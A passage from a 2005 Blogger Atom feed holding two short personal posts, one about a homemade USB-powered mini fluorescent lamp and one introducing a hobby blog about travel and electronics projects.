href="http://www.flickr.com/photos/71987843@N00/28897458/"&gt;DSC01319&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/71987843@N00/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;With a few bits of junk and some misc stuff I've created a new thing :)&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-112254845637640973?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/112254845637640973/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=112254845637640973' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112254845637640973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112254845637640973'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/07/usb-powered-mini-fluro-lamp.html' title='USB powered mini Fluro lamp'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-112254141728817920</id><published>2005-07-28T10:03:00.000+01:00</published><updated>2005-07-28T11:53:08.883+01:00</updated><title type='text'></title><content type='html'>Well I thought I might set up a bit of a blog before I shoot off into the great unknown. This is the place where I boost my ego by thinking that others will be interested in the Stuff, Things and Junk I find during my upcoming holiday in Japan, the UK and beyond. I'll also be posting here about Stuff Things and Junk I'm building like &lt;a href="http://butterflymp3.sf.net/"&gt;mp3 Players&lt;/a&gt; and other projects. I'll also be using this as a launch pad for test driving my new breed of cutting edge grammer and mis use of the english language.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-112254141728817920?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/112254141728817920/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=112254141728817920' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112254141728817920'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112254141728817920'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/07/well-i-thought-i-might-set-up-bit-of.html' title=''/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry></feed>
